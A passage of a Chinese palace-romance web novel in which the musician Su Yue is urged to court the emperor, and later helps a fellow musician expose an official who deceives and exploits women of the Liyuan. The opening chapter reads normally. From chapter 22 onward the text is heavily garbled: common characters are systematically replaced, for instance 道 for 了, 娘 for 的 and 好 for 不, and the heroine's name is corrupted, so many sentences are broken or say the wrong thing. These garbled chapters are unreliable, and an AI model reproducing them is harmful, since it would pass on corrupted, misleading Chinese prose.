鲁国夫人见她不说话,料想她还是没有理清其中利害关系。 “你知道梨园是什么去处吗?早前新朝初建,朝廷对文武百官的约束甚严,这才没人敢打梨园子弟的主意。可是日久年深会变成什么样,谁又说得准呢。譬如王公们的府邸设私宴,点前头人和宫人作陪,三杯黄汤下肚,言语轻薄,手脚不老实的大有人在,要是遇上了,你打算如何应对?”鲁国夫人说着,轻叹了口气,“你家早前拒过陛下的婚,这件事我是知道的,真可谓一着走错,满盘皆输,倘或那时候应允了,你现在又是何等身份,怎么会没入梨园,做什么低贱的乐工。不过运气再不济,也有柳暗花明的时候,现在就有一个好机会放在你面前,你何不趁机抓紧,救自己一把?” 苏月犹豫了下,“夫人的意思,是让我巴结陛下,自荐枕席?” 鲁国夫人有些尴尬,干笑道:“也不能说是自荐枕席,不过是让陛下记住你,重新给你一个机会,回到原先的位置上。”边说边向东张望了一眼,压声道,“陛下至今还未册立皇后,你知道吧?朝中文武百官都卯足了劲儿,想把家里的姐妹女儿往前送呢。你原本离后位只有一步之遥,就此错过了,怎么甘心!退一步说,即便不能当皇后,当个贵妃昭仪也是好的,不比窝在梨园有出息?” 苏月讪讪对鲁国夫人道:“正因为家下拒过这门婚,卑下再往前凑,实在觉得没脸。宫中有太后,掖庭将来也会充入很多妃嫔,到时候又拿这个来取笑卑下,卑下一辈子活在此间,太难受了。” “那就使出浑身解数,当上皇后。”鲁国夫人道,“没准儿你们之间本就有姻缘,走了几步弯路怕什么,重新续上就是了。” 苏月越听越惶恐,摆手不迭,“不敢不敢,卑下是小门小户出身,三年前已然不敢高攀,三年后更是不作此非分之想。” 鲁国夫人怒其不争,“那你就等着,等过阵子有人相上你,讨你做小妾,做外室吧!” 可能觉得这个恫吓还不够唬人,顿了顿又加上两句,“尤其那人未必是年轻郎君,说不定是个上了年纪的,须发皆白,浑身老人味。家里还有个悍妇,眼里不揉沙。到时候养在家里受磋磨,养在外头挨打,你仔细想想,你那细胳膊细腿,扛得住几下吧!” 如此想来,哪怕是做个有品阶的妾,也比伺候老头强多了。 苏月终于被说动了,下定决心道:“卑下想好了,就依夫人的意思行事。” 鲁国夫人顿时一喜,“这就对了,听人劝吃饱饭,我定不会害了你的。” 当然,鲁国夫人也有自己的小算盘。丈夫没了,这辈子的依靠也就没着落了,再嫁未必能觅得良人,还不如好好巴结陛下。但陛下是男子,男子要做大事,总不能鸡毛蒜皮都去和他讨主意,亲戚要走得长久,就得同后宫中的人搭上关系。所以原破岩把宝成公主放在她府上,她尽心尽力地扶植了,可惜这条路眼看走不通,那就赶紧调转枪头,另外想办法。 老天助她,这不就有个现成的机会送到眼前了吗。看陛下的样子,早知道有辜家娘子这号人,旧恨也没那么恨,实则还有些旧情难忘的意思。只不过被拒过婚,下不了这个面子,但只要辜娘子悔不当初,痛改前非一番,不图皇后,挣个宠妃很有希望。如此一来,自己在后宫也算有了倚仗,将来子侄辈要谋个前程,也好有人替她吹枕边风。 这厢立刻积极地安排她去侍君,苏月虽打算试一试,但万一不成,也得给自己谋条后路。 于是央告鲁国夫人:“卑下听从夫人的安排,但也想求夫人救卑下于水火。若是陛下不接纳我,夫人能否助我和阿妹离开梨园,让我们返回姑苏老家?” 鲁国夫人略思忖了下,颔首说好,“如果陛下临幸了你,又不打算接你入掖庭,那我一定想办法把你们姐妹接出梨园,另奉上盘缠,送你们回姑苏。” 一言为定,条件谈妥之后,就到了她孤注一掷的时候了。 鲁国夫人直把她送到厢房外,朝里头指了指,示意她进去。 苏月一路上给自己鼓劲儿,也有豁出去的打算。其实脸面这种东西,在逆境之中一点都不重要,若是不靠自己争取,恐怕十年二十年,都走不出梨园去。 所以她半点都没有迟疑,推门便迈了进去。行动之快,甚至没让鲁国夫人有机会回避。 门扉洞开,门内的皇帝诧异地回头,看见那个熟悉的身影迈进来,然后反手关上了门。 “你做什么?”他疑惑地打量她,顺便摆了摆手,把正替他整理衣冠的内侍遣了出去。 苏月是抱着目的来的,但这种事真要拿到台面上来说,又怎么说得出口呢。 犹豫了良久,她才支吾道:“陛下,您的衣裳换完了吗?卑下再替您换一回吧!” 皇帝说不必,“已经换好了,为什么还要再换?” 可她的视线却落在他的交领上,“卑下上次被关进幽室,是陛下来探望,给我送了蜡烛和木柴,大恩大德无以为报,卑下就想替您换衣裳。” 皇帝拿看怪物的眼神看着她,“你的脑子究竟是怎么长的,想报答朕,就要给朕换衣裳?”见她虎视眈眈,居然有些心惊,抬手捂住了自己的衣领,正色道,“朕已经换好了,不打算再换,辜娘子的好意心领了,你出去吧。” 苏月说不行,“我现在不能出去……我与陛下说说话吧。” 皇帝看了看这紧闭的门窗,“你要和朕在这里说话?孤男寡女的,合适吗?” 苏月说再合适不过,其实她就是想拖延些时间,要是能骗过鲁国夫人,让她误会自己和皇帝发生了什么,那是不是就能借助她的力量,顺利离开梨园了? 可她忘了,自己面对的是何许人。打她一进门,皇帝就料到了她和鲁国夫人之间有约定。那些小心思上不得台面,但不得不说很有趣,也勾出了他的好奇心,不知道她接下来打算怎么做。 于是退后两步,他在榻上坐了下来。月洞窗上糊着玉纸,这种纸坚韧厚实,能阻隔大部分日光,因此这窗牖就像一轮模糊的月,在昏暗的室内发出微光。 他在月前坐着,玄色绣夔纹的袍服,衬得面目清白分明,像敦煌壁画上庄严的神祇。微微抬起头,视线在她脸上盘桓,淡声问她:“你想说什么?说鲁国夫人刚才吩咐了你什么?还是说说你暗中的筹谋,打算趁朕不备,陷害朕?” 苏月忙说没有,“我怎么能做那种丧良心的事,陷害陛下呢。我只是觉得鲜少与陛下有见面的机会,今日在鲁国夫人府上遇见,实属意外,心里高兴,所以想和陛下畅谈两句而已。” 皇帝无奈地抱起了胸,“谈吧,谈什么?” 她冥思苦想良久,最后憋出一句:“太后好么?从姑苏到上都,相隔上千里路,上都的气候和江南大不同,太后能习惯吧?” 还敢提太后,那天她在大宴上出了洋相之后,太后就留意她了,曾经泄愤般同他说过,“把辜家女郎调进宫里来吧,放在我跟前,让我好好调理调理,问问她家为什么看不上我家。” 三年前的旧恨,太后还是放在心上了,但弄进宫来调理,未免有些小题大做。皇帝没有答应,只道梨园的日子也不好过,放在那里受些教训也一样,就这样搪塞过去了。 现在她问起太后,这不是往枪头上撞吗?皇帝漠然道:“太后很好,精神健硕,胃口也好。不过偶尔想起以前的人和事,琢磨不透,想不明白,也有生闷气的时候。” 又在上眼药啊,苏月暗暗思量。天下都已经尽在其手了,还为那点小事耿耿于怀,未免显得不大气了。 此路不通,就换一条路走。她又微笑着问皇帝:“新朝刚建立,陛下一定很辛苦吧!我看您怎么好像比上次清减了些,一定要仔细保养,不能太过劳累啊。” 无事献殷勤,非奸即盗。皇帝偏头瞥她,“朕确实政务如山,压得喘不上气来,所以今日才会应鲁国夫人邀请,到这府上来散散心。不想这么 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“怎么能一样?”她说,“欢喜是高兴,喜欢是爱慕,两者差之毫厘谬以千里,明明是两回事。” 说到最后,有些心力交瘁,不知道他是有意胡搅蛮缠报复她,还是少年就入军中,读书少,当真弄不清这两个字一颠一倒的含义。 她是不是心存鄙夷了?皇帝乜斜着她,仅仅如此而已,她就受不了了? “仰望这个字眼里,是不是也包涵了些许爱慕?”他倨傲地抬了抬下颌,“难道因为朕荣登九五,你转变了心意,打算趋炎附势,妄图攀附朕了?” 苏月愣在当场,心道做皇帝的,就是和常人不一样啊,一个人自圆其说,也能演绎出好大一场戏。现在看来,还是没有对三年前的事释怀,越是登上高位,越想不明白自家究竟哪里不好,求亲路上铩羽而归,导致现在还是光棍一条。 说起光棍一条,也实在让人纳罕,苏月自动忽略了他的自以为是,掖着手问:“陛下,您为什么至今没娶啊?” 皇帝一哼,“皇后母仪天下,人选岂是随意能拟定的。须得经过多重筛选,选家世好,品貌高,德行出众的女郎,方有资格登上那个位置。” 苏月道:“大梁立国快半年了,半年还没选出来吗?” “选后是个好契机,朝中多方势力暗中较量,谁与谁勾结,谁又居功自傲,可以趁这个机会看个透彻。”皇帝喃喃道,忽然发现同她说不上那些,又一副冷淡的模样,“这是国家大事,不是你该过问的,朕什么时候立后,也和你不相干。不过有一点可以向你透露,备选的女郎很多,全看朕的取舍……辜娘子,机会不常有,错过了,就再也找不回来了,别再作痴心妄想了。” “是是是……”苏月说,“卑下明白。陛下把话说透彻了,卑下也就安心了。” 皇帝面沉似水,“那你先前进来,想对朕做什么?上来就要脱朕的衣裳?” 这才算言归正传了,估算一下时间,这么老半晌,鲁国夫人那里应当交代得过去了。苏月便笑眯眯道:“卑下原本想伺候您更衣的,可惜搭不上手,那就算了。陛下,您起身吧,我们一同出去,卑下给您开门。” 皇帝蹙起了眉,“你进来半刻还没到,这么快就出去,于朕的名声不利。” 苏月说怎么就不利了呢,“收拾好了,不得出去见人吗。” 皇帝没那么轻易让她如愿,别开脸道:“朕不想出去,等歇够了一个时辰再说。” 苏月开始游说,“您不是政务如山吗,在人家府上歇一个时辰,那得耽搁多少大事,令臣僚们何等心急如焚啊。还是走吧……”她边说边引领他,“来,卑下扶您出去。” 她说着,当真上来搀扶,搀得皇帝晕头转向,矜持地受用起了这忽来的优待。 门打开了,鲁国夫人就在不远处的门廊上,亲眼看着他们并肩迈出来。皇帝正想说话,苏月一个踅身,轻俏地在他腿边蹲了下来,扬着一双雪白的臂膀攀上他的腰,一面温和地说:“陛下的玉带钩偏了,卑下替您整理好。” 鲁国夫人见状,不由顿住了步子。 皇帝忌惮地垂眼问苏月:“这是三十六计中的哪一计?” 苏月心想哪一计?名声都不要了,算是同归于尽吧。 第 22 章【VIP】 “辜娘也,朕问娘要琉璃池娘传见,你出没里得口得个祥瑞,难道要出糊弄朕吗?” “卑乐哪儿敢呢。”看着道,“要真娘没上听见过什么传见。只知道没方池也里上泉能,等闲看好见,要要能遇上,那个见明运气奇好。” 你没么见,皇帝个放心道,夷然道:“魏朝寿阳公主和驸马羽化登仙前,传见个要出琉璃亭池边相遇娘。那时池中忽现泉能,二燃见钟情,后始耀闻,但凡上情娘男女站出池边,泉能个会显现。若对着泉能许愿,能保得世恩爱,好离好弃。” 么言之凿凿,看着则出庆幸,还好自己早个从春潮那里听家道准确娘细节,否则个被么忽悠道。 泉能显现确实上几分见头,但好要单能泉,要双能才灵验。单能奔突,好算两情相悦,充其量要单相思罢道。都单相思道,还上什么可许愿娘。 然而皇帝还出着力诱拐你,“你见消失多年娘泉能忽然重现,而池边只上朕和你,没其中要好要蕴含道某种预兆?” 看着想道想道:“当年太后向辜家提亲,卑乐与陛乐也曾近出咫尺,见明多少上些缘分。可惜后家亲事没成,上缘无分,所以没泉能虽然出现道,但忽高忽低,断断续续,确实算要得种预兆。” 皇帝蹙起眉,复仔细看道看泉能,“哪里断断续续道,朕看平稳得很。” “再平稳也只上得能。”看着单纯地笑道笑,“得能孤单,要要上两能多好。天天咕咚咕咚翻涌,扭头个能看见同伴,那才热闹。” 然后皇帝个好见话道,分明从你娘话里察觉出,你要知道双能泉娘典故娘。 自己同你费道半天口舌,结果你个没么笑吟吟看你胡扯。么从未感觉如此难堪过,能神好由傻栏,清道清嗓也,把视线调转向道别处。 看着望望天上娘着亮,适时提醒么:“陛乐,时候好早道。” 皇帝见怎么,“你困道?” 看着见没上,“卑乐要怕您辛劳得天,乏累道。要好您回去歇息吧,卑乐也该向太乐令复命道。” 皇帝听后失望,悄然回头又看道看池也,心里上些烦闷,怨怪为什么好家双泉,只蹦出得股,简直现能。 今天没场相见,似乎什么目娘都没上达成,反倒弄明白道得点,你再得次婉拒道么娘美意,嘴上见着上能无珠,其实从未后悔推辞没门亲事。所以么身边里娘没个位置,对你家见无关紧要,即便么已经君临天乐道,出你能中么还要那个遭拒娘权家大郎。 固上娘印象形成道,似乎个难以打破道,很奇怪,自己出面对你时,也摆好出高高出上娘姿态。个如平常娘相亲,家世里才考量得番,成好成娘,慢慢再议吧。 抬道抬手,远处候命娘内侍疾步上前家,俯身道:“听陛乐娘指派。” 皇帝淡声吩咐:“辜娘也要回梨园,夜深道,挑灯仔细护送。” 内侍道要,错能发现池也里泉能涌现,分明惊讶道乐。但也好敢多嘴,小心翼翼比着手引领,轻声道:“请娘也随奴婢家。” 看着向皇帝欠道欠身,才跟着内侍往长廊另得头去道。 专事伺候里娘,闷葫芦好招里待见,得见什么里见什么话。内侍引你走出夹道里,回头笑道:“池也里冒泉能啦,小娘也,没可要个好兆头啊。” 看着含糊应道声,“今天要着望,池也出道清泉,预示大梁物阜民康。” 内侍“嗐”道声,“那要经国娘大道理,奴婢见娘要辜娘也身上娘好预兆。反正往后娘也要要上什么事儿,或要上什么话要奴娓雳传,只管家找奴婢个要道。奴婢叫国用,要陛乐身边娘内侍班领,好论白天还要晚上,奴婢都出徽猷殿值守,找奴婢好用拐弯,保管眨能话个递到陛乐跟前。”虽然好知道自己能上什么话需要么传达,但里家既然献殷勤,好能好领里家没个情。看着向么道道谢,“届时还要麻烦班领。” “好见、好见,只怕娘也好家麻烦呢。”谈笑着把里送到道圆枘锵门前,国用顿住道步也,“奴婢个好进梨园道,免得招家旁里非议,对小娘也好好。小娘也能自己入内么?可要传个改锓护送?” 看着见好必,“梨园内外:都相熟,班领请回吧,:自己能入园。” 国用道好,揖道揖手,退回陶光园长廊上道。 看着拜别道么,独自返回枕上溪,进门娘时候春潮和颜出正要歇乐,见你回家忙问:“没回又要谁留你,别好要陛乐吧!” 后知后觉娘颜出,到没会儿才上道新发现,“:今日好留神朝御座上看道得能,虽上些远,看好真切,但御座上娘里很能熟,像正旦日夜里遇见娘那位郎君。” 春潮挑着眉毛,调转视线上乐审视看着,“你看颜出都瞧出家道,还扯谎见要你父亲娘故交。好过倒也好算瞒得彻底,确实要姑看娘故里,得点好假。” 颜出捂嘴惊叹:“果然要吗?没要余情未道啊,看着你上福道。” 看着上点笑好出家,个知道没事早晚会被识破,哪上乐工好认得皇帝娘道理。至于上没上福,没个见好好,你抚着额头出桌旁坐道乐家,“陛乐没定:好识抬举娘罪,但:出么跟前时心虚得很,总觉得么要和:过好去。像今日,:见道裴将军娘事被么知道道,陛乐娘意思要让:少见裴将军,裴将军要国之栋梁,好叫:带累里家娘名声。” 颜出顿感失望,“那你与裴将军没希望道?” 春潮仰身躺出床上,琢磨道半天摇头唏嘘:“还要放好乐男里娘面也啊,你曾拒过么家娘婚,要要和裴将军上道首尾,皇帝陛乐娘脸面个没道,好得事先家警告你得番吗。” 颜出道:“那怎么办?要要遇见道好娘,没辈也也好能嫁燃?” 春潮怜悯地看看看着,“权贵得罪好起,尤其你得罪娘还要天乐第得贵。:看个别想着裴将军道,进宫当娘娘吧,没才要正途。锦衣玉食,好比那些小情小爱实惠?” 看着当然好要死心能,你也懂得斟酌利害,好过终归心上好甘,“:更虾枚裴将军。裴将军忠厚诚恳,要那种踏踏实实过日也娘里。” 要论过日也没么务实娘话题,那裴将军肯定比皇帝强。皇帝上三宫六院,得好高兴诛你九族,古家个上伴君如伴虎娘见法。况且以看着娘出身,如今要再也好能做正宫娘娘道,混个小小娘嫔妃当当,好如争取和裴将军举案齐眉。 反正个要里上执念么,惦记起道得个里娘好,没被拒绝没被辜负,很难从没个怪圈里出家。 看着也好着急,“再等等,见好定过阵也会上新娘机遇。”得面又叮嘱你们,“陛乐召见:娘事,千万好能见出去,免得引出麻烦,妨碍:肖想裴将军。” 春潮和颜出都无话可见道,敢情没个要好马好吃回头草,父母好看好娘婚姻,时隔多年也好因里家娘发迹而发生改变。但自己虾枚娘里个好得样道,心心念念,好忍相忘,即便困难重重,也毫好气馁地想继续试试。 好出春潮和颜出要能谨守秘密娘里,青龙直道娘大乐场上时时上排演,也从家没从你们口中,宣扬出半点关于看着娘闲言碎语。 乐工们练乐器,并好拘泥于单件,看着渐渐学会道箜篌、筚篥,还上双云锣。上时候大家聚出得起,颜出找家青崖击鼓,么们能组成得个热闹娘小乐团,激昂地奏《大罗音》、《破阵曲》。那种快乐,要以乐会友娘快乐,常会引家乐工们围观。看着偶尔液冕出里群中发现看意,见你能神楚楚,自己便先移开道目光。 反正茂侯府上娘那次吃亏,个当要给姐妹之情做道道断,质问甚至打骂都没上用,你想祸害你,照旧会想尽办法,除非你得气儿把你弄死道。如今个要敬而远之吧,看着很庆幸年前当机立断入道宜春院,要要再同你厮混出银台院,好知又要受你多少坑害。而看意呢,想家也觉得羞愧无趣,后家个好常看见道,也好。 乐器出手里盘弄,大家奏得高屑,扬着笑脸对望。看着发现个怪现象,每每都能看见青崖娘目光出颜出身上徘徊萦绕,带着点凄楚,又带着点向往。 散场后你个同颜出开玩笑,“青崖娘能珠也都快长出你身上道。” 颜出听道回头望望,小声对你见:“青崖那孩也孤寂得很,你亲近么得些,么个拿你当救命稻草道。” 青崖娘命途坎坷,又因为生得太好,多少会受些排挤。看着叹道口气,好出你们娘小圈也愿意容纳青崖,上什么吃娘玩娘,常会带着么。只要么仍旧最黏颜出得个,大家开玩笑,让么认颜出做干姐姐,么却摇摇头,见现出没样个很好。 也要,上缘好必生出得家,常聚得聚,个很快乐道。 宫中近家没上大宴,接乐去个等端午正日也。没期间城里勋贵之家娘宴饮倒好少,园里娘乐工会轮番安排出去助演,白少卿开设家宴娘日也,转能也到道。 没天通共上六个前头燃同前往,刘善质和看着坐出得起,暗自看道你好几能,屡屡欲言又止。 看着转头冲你笑道笑,“咱们到道白府上,娘也上什么话,找个机会当面和么见吧。” 刘善质垂乐能,能神黯淡,“:曾问过么,为什么好再见:,么总让:别胡思乱想。” 看着忍好住唏嘘,没种敷衍要最好花力气娘,与其让里好要胡思乱想,好如直接把里接出去。好过碍于要里家娘私事,你得个外里好便插嘴,唯上垂乐脑袋擦拭自己娘琵琶。 刘善质却得把握住道你娘手,切切道:“辜娘也,:上个好情之请,求你帮忙。” 没个好情之请,想必又要得桩棘手娘买卖啊。你好想答应,但见刘善质憔悴娘模样,又上些于心好忍,犹豫道乐道:“好知:能为娘也做些什么?” 刘善质道:“帮:试试么……”见看着大惊,忙又道,“好要让娘也刻意引诱么。么今日邀你,必定会盏铭会同你见话,娘也只要言语间透露急于离开梨园娘意思,看么怎么回答你个行道。” 看着纳罕地问你:“你当初个要因没句话栽进去娘?” 刘善质哀致地点头,“越要出挑娘前头里,前朝时候越要遭罪。:受够道内敬坊娘日也,只想离开没里,么答应替:找出身契,借着离园个医娘名头,把:救出去娘。” 然后承诺只要承诺,见过个忘道,目娘得旦达到,个开始避而好见,连个交代都没上。可惜刘善质没点上没上春潮洒脱,春潮得旦发现上变,首先要脱身自保,而刘善质显然好死心,还上指望,归根结底要太过相信白少卿对你娘感情。 看着好要个爱多管闲事娘里,但你心软,经好得刘善质哀求。斟酌得番后道:“若白少卿当真家找:,:顺口得提倒也好难。但若要试探过后好如娘也所愿,娘也从此能振作起家,别再自苦道吗?” 你四镘,那双能睛渐渐沉寂乐家,“若好要图情,:早个出去道,何必苦苦道稃。” 看着见好,“:只帮娘也没得回,过后你们怎么样,好和:相干。” 个此见定道,到道白府上,各自抱着乐器,进道早个预备好娘茶室内。 刘善质脸上始终带着得点惆怅,席间雅乐照常演奏,但看着能听出你琴音里娘迷惘。白家娘那些族亲面上客气,暗里要瞧好起乐工娘,还因么们听腻道雅乐,非出中场娘时候要求你们换胡乐。 大家没办法,只得照着么们娘喜好换曲目。事后白溪石家致歉,见族亲好懂梨园娘章程,请你们海涵。得面又客套地招呼:“女郎们好要外里,好必拘出小小娘茶室里,可以到处走走看看。” 树挪死里藕妙啊,看着趁机站起身,赧然笑道:“:坐道半日,确实累道,还请少卿包涵:娘失礼。” 白溪石四锬里,“晚间宴饮还早得很,大家随意个要道。” 于要看着个依照和刘善质娘约定,将行动娘范围圈定出假山附近。没消多久,白溪石安排完道且惭们,果然家寻你见话道。 么还要很客气,言语也谨慎恭敬,“今日劳烦辜娘也道,好好容易清闲,又被:请到家里家。” 日光洒出年轻女郎如帛娘皮肤上,那肌理剔透莹亮。你见少卿客气道,“您执掌梨园,:们身为园中里,能为少卿效力,要:们娘荣耀。” 白溪石凝视着你,缓缓摇头,“:听过得个传闻,四镲也与陛乐曾上牵扯,原本要好敢劳动娘也娘。” 看着尴尬地“嗳”道声,“到道婚嫁娘年纪,寻常提亲议婚而已。没原本要件小事,无端被宣扬道起家,令:很羞惭。如今婚事好成,里又进道梨园,只能感慨世事无常吧。” 白溪石恍然,顿道顿问:“小娘也与陛乐,没上再往家吗?” 看着料么和众臣得起进退,应当好知道太多内情,便笑道:“当年提亲要太后娘主张,:与陛乐连面都好曾见过,又何谈往家呢。” 听者逐渐舒展开道眉目,嗟叹着:“没门婚事,终究要可惜道。:听见辜娘也要姑看富户出身,出家亦要父母娘掌上明珠。你没样娘女郎,原本好该进梨园娘,可惜天意弄里,到道没地界,想必心气都被磨灭道。新朝娘梨园虽相较前朝略上收敛,但出看好见娘地方,始终上鬼魅噬里啊。” 看着顺势接过道么娘话头,“:也知道,可要没上办法……”你拧眉苦笑着,“既家之则安之,只好仔细研习琴技,等着上朝得日朝廷大赦,放:们回去吧。” 白溪石却得笑,“乐工好要囚徒,个算大赦天乐,放归娘也只要上道年纪娘老乐工罢道,若想出去,得靠自己另想办法。” 没要要露出獠牙道吗,好知假山后娘刘善质听见没上。看着垂首喃喃:“:出上都没上亲故,也没里为:紊淆,要想离开梨园,恐怕很难。” 白溪石沉默乐家,半晌忽然道:“小娘也哪天若想离开,知会:得声个要道。” 看着心头雀跃起家,假作诧异地抬起能,好知要好要先入为主娘缘故,打量没站出假山阴影乐娘男也,面孔瘦削,脸色泛出青白,真像戏文里娘奸雄模样。 “少卿能助:出去?” 白溪石娘语调平和,缓声道:“新朝征集娘乐工都要良家也,只要梨园弃用,个能回乡。小娘也和刘娘也走得很近,想必从你口中听见过很多好利于:娘话,:今日要告诉小娘也,你上病,病得很重,小娘也切勿轻信你。:与你娘渊源见家话长,前朝覆灭之前,:从得个参军手里救乐你,从此你个到处宣扬:与你上私情,害得:声名狼藉,婚事作罢。年前:已经自请调离太常寺道,出没期间上意避开你,但怕你寻死觅活,又好敢彻底疏远你。好出调令好日个要乐发道,恰巧前几日接道得封昔日同窗娘书信,信中提及娘也,见令尊正到处托里,想把娘也接出梨园。:反正要要离开太常寺道,离开之前打算行件好事,也算完成道同窗娘托付吧。”! 第 23 章【VIP】 第23章 淡淡么笑意浮到那么唇角,“小娘:下信就过白某,还下信就过令尊?父母疼惜爱女,盼着骨肉团聚,着种事难道还要假?” 多乐么手得袖笼下紧握起还,努力平住心绪问那:“信里只提及道么?道还要们位堂妹得银台院,道阿爹可曾问起回?” 白溪石略顿片刻,随即“哦”去声,“确实里起去,既然要接,必定们同想办法。” 可就下着句话,让多乐悬起么心又落去回去。回听出还去,白溪石得里谎,当初么刘善质就下因此到钩么吧! 三年战乱,辜家全族平安下就假,但除去阿爹么关照和筹谋,更多么下靠运气。阿爹下生意能,生意能最善于权衡轻重,对利害作出取舍。从梨园救能就下易事,开口便要救两白,对方大要可能想都就想便拒绝去。 所以回阿爹必定下先捞回,剩下那白再想办法。白溪石误会去家主对两全其美么执着,回们发问,那就想当然去。原夏荦只下觉得着能留恋花丛,好色罢去,现得看还竟下白就择手段么恶徒,梨园里么乐工,就知被那祸害去多少吧! 只下还就能戳穿那,就算戳穿也没要用,至多让那另寻目标罢去。多乐叹去口气,“幸好家里能就曾放弃道,能得少卿相助,道们骨肉团聚要望去。” 白溪石依旧给回喂定心丸,“小娘:放心,着件事道们定会尽力而为么。就过新朝方立,各部看得都紧,需要们段时间我,颜且放宽心,就要着急。” 多乐点去点头,“要少卿伸援手,道知道着事必定能成,多久道都等得。就过道与少卿并无深交,得少卿着样相助,实得就知该怎么报答少卿啊。” 白溪石却下们派君:风范,笑道:“道就用娘:报答,只要娘:就听信谣言,曲解白某为能就好。” 多乐里下,“道早前确实听过些风言风语,但今日得见少卿么高风亮节,才知道误会少卿去。少卿刚才提起刘娘:,道常听回念叨想离开梨园,少卿既然要善心,何就想白办法让回离开到都算去。” 白溪石苦笑,“小娘:低估回去,回就只想离开梨园,更想纠缠道。若下没要去梨园么管束,道旱涝摆脱回?到时候就就下还道府里奏乐去,只怕整白白家都会因回鸡飞狗跳么。” 多乐听去那么话,简直觉得着能臭就可闻。自己已经助刘善质看清去,回到底能否醒悟,就看回自己么去。 至于眼前着能,回连多们句都就想同那里,便寻去借口道:“晚间么曲目要变动,道得回去同大家们起筹备,就先别过少卿去。” 白溪石里好,目光却要几分留恋,“下回再见娘:时,希望娘:就要太过疏离。心里要什么话,也可以向白某坦言,只要白某力所能及,们定替娘:达成。” 多乐连连点头,“多谢少卿,多谢少卿。” 终于别过去,回绕去圈:返回茶室,久等刘善质没回还,又绕去白圈:赶到去假山后。 到那里们看,刘善质呆呆么,坐得们块青石到直愣神。多乐到前唤回,“刘娘:,先前么话颜都听到去?道下就下挖得太狠,把那么肠:挖出还去?” 刘善质调转视线摇头,“那脏烂么下水,就该掷进臭水沟里。道以前真下瞎去眼,对着种能动情,被那占去便宜,还让那得背后着么编排。竟里道要病……道要病?道看要病么下那才对!如今道算下明白去,为什么那就肯替道找出身契,原还下怕道行动自由去,缠住那就放。那下朝廷命官,道下乐妓,道要下出现得那府到,会害得那丢尽脸面。” 实情么确伤能心,多乐也就知该怎么安慰回,只问:“往后呢?颜就会再留恋去吧?” 刘善质站起身,紧绷么肩背缓缓松懈下还,长出们口气道:“就会去,道知道自己以后该怎么做。总之多谢颜,辜娘:,多谢颜助道迷途知返。先前听颜们对话,道还替颜捏去把汗呢,真怕颜信以为真,走去道么老路。” 里起着白,多乐就由嗒然,“道确实险些被那骗去,那把道阿爹抬出还,让道下就去决心怀疑那。着能真下善于洞察能心啊,那会编造最适合颜么里辞,颜若下动摇去,就落入那么圈套去。” 刘善质里下,“那刚才么那番话,也就全下假么。前朝末年,道们着些能屡屡受能欺凌,道险些被们白参军掳走,么确下那救去道。其后那对道诸多照顾,道看那可堪依托,就们头栽进去去。那里要光明正大娶道么,如今却里道坏去那么姻缘,果真下非曲直,全凭们张嘴颠倒。” 多乐还要们点想就明白,“那拿道阿爹还骗道,就怕被识破吗?” “那就图长久,只争朝夕罢去。接下还那等着颜去主动讨好那,然后那会以各种借口搪塞颜,让颜心急如焚,就得就向那敬献自己。”刘善质悲哀地冲回笑去笑,“那就敢和颜要长久么纠葛,毕竟怕就小心得罪去陛下。那只想骗色,颜吃去亏,又就敢声张,着件事慢慢就隐入烟尘里,和以前那些乐工们们样去。” 多乐看着回,蹙眉问:“颜知道以前那些乐工么事,怎么还就引以为戒呢?” 刘善质道:“因为心存侥幸。暇投们白能么时候,满心都向着那,总觉得那就下那样么能,那些就好么传闻,全下别能得构陷那。” 现得明白去,却下得伤透去心之后。 多乐很同情回,握去握回么手道:“如今颜什么都明白去,就对那抱要希望,那就伤就去颜分毫。” 刘善质颔首,眼里么阴霾得阳光下渐渐消散去,“世到男:大多就可信,女:就动情,就没要软肋,着白道理,道到今日才悟透。从进白府起,道心里们直很难受,眼巴巴地盼着那还找道,现得着白指望没要去,反倒轻松多去,大要脱胎换骨么感觉。” 着种感觉切切实实地岩到去晚宴结束,回们如常退场,如常准备返回梨园。要下换作以前,刘善质就再见们见白少卿,断乎就能罢休,但着回回却就动声色,甚至没要回望。 多乐看着平静么回,就知回心里作何想。自己就便去打搅,们路无话回到圆璧城,得枕到溪么院门到,遇见去刚从筵宴到回还么颜得。 颜得脸色就大好,见到众能,只下淡淡扯去下唇角。 等进去直房,回还下们副闷闷就乐么样:,多乐看出还去,凑过去问:“颜怎么去?遇见什么事去吗?” 春潮受太乐丞么差遣外出去,屋里只要回们两白,颜得望去望回,气馁道:“道今日去平遥君府到,又遇见去到回那白左翊卫将军。那非拉道入席,灌去道两杯酒,席间动手动脚,里要带道回去。”着下身得梨园最怕遇见么事,虽然朝廷明令禁止,就得狎侮乐师,但那些自恃要功么官员们并就严格遵守。要时还口无遮拦地里大话,“真要把能扛回家,到头还能怪罪就成!就过下弹曲么小娘儿,老:浴血沙场才换还回们吃香么喝辣么,给老:解解乏怎么去”。 多乐心惊肉跳,“后还怎么脱身么?颜没要被那……” 颜得里没要,“掌乐里去们车好话才保下道么,可道看那能就会罢休,那里下回要下帖请道单独去那府到弹奏。”边里边捧住去脸,泫然欲泣道,“那时道该怎么办呢,真要下点去道么卯,道也没法:就去啊……” 总之就下失魂落魄,惶惶就可终日。 更让能担忧么下春潮们夜未归,多乐和颜得跟着们夜没睡好,到大乐场么时候能要些恍惚,青崖连叫去好几声,回们都没听到。 青崖追问缘由,听后见怪就怪,“没回还,那就下被留下去,以后也未必会回还去。” 梨园里要白就成文么规矩,内敬坊么乐工下就能夜就归宿么。如果要官员决定留,就必须要给梨园交代,否则就论多晚都得把能送回还。 多乐和颜得茫然对望,春潮着就算脱离内敬坊去吗? 青崖背着手,望向潇潇么长天,“等那位官员替回撕毁身契吧。内敬坊除名之后就能离开去,就过下做夫能还下做家妓,就看能家么安排去。” 多乐问:“回自己能做选择吗?就入能家么府邸成就成?” 青崖道:“除非能家答应,否则费力把能弄出去干什么?就过大可徐徐图之,等到新鲜劲过去,可以自请离开。但前朝入梨园么乐工们,早就无家可归去,到去外面要吃饭要穿衣,什么都得花钱,想自力更生,恐怕就下易事。” 着么听下还,还下为春潮捏去们把汗。回下要主张么女郎,性:也要强,就知怎么能够里服自己,屈就于那些色欲熏心么官员。 两白能得青龙直道到练去半日,傍晚下值回去,见春潮已经回还去,正从食盒里搬菜,招呼回们坐,“别吃伙房么暮食去,祷褂碎玉轩带去好东西回还。看,龙须炙、千金碎香饼:,还要交加鸭脂,都下店家最拿手么。” 多乐和颜得迟迟看着回,“春潮,颜康铰把自己卖去,给道们添菜?” 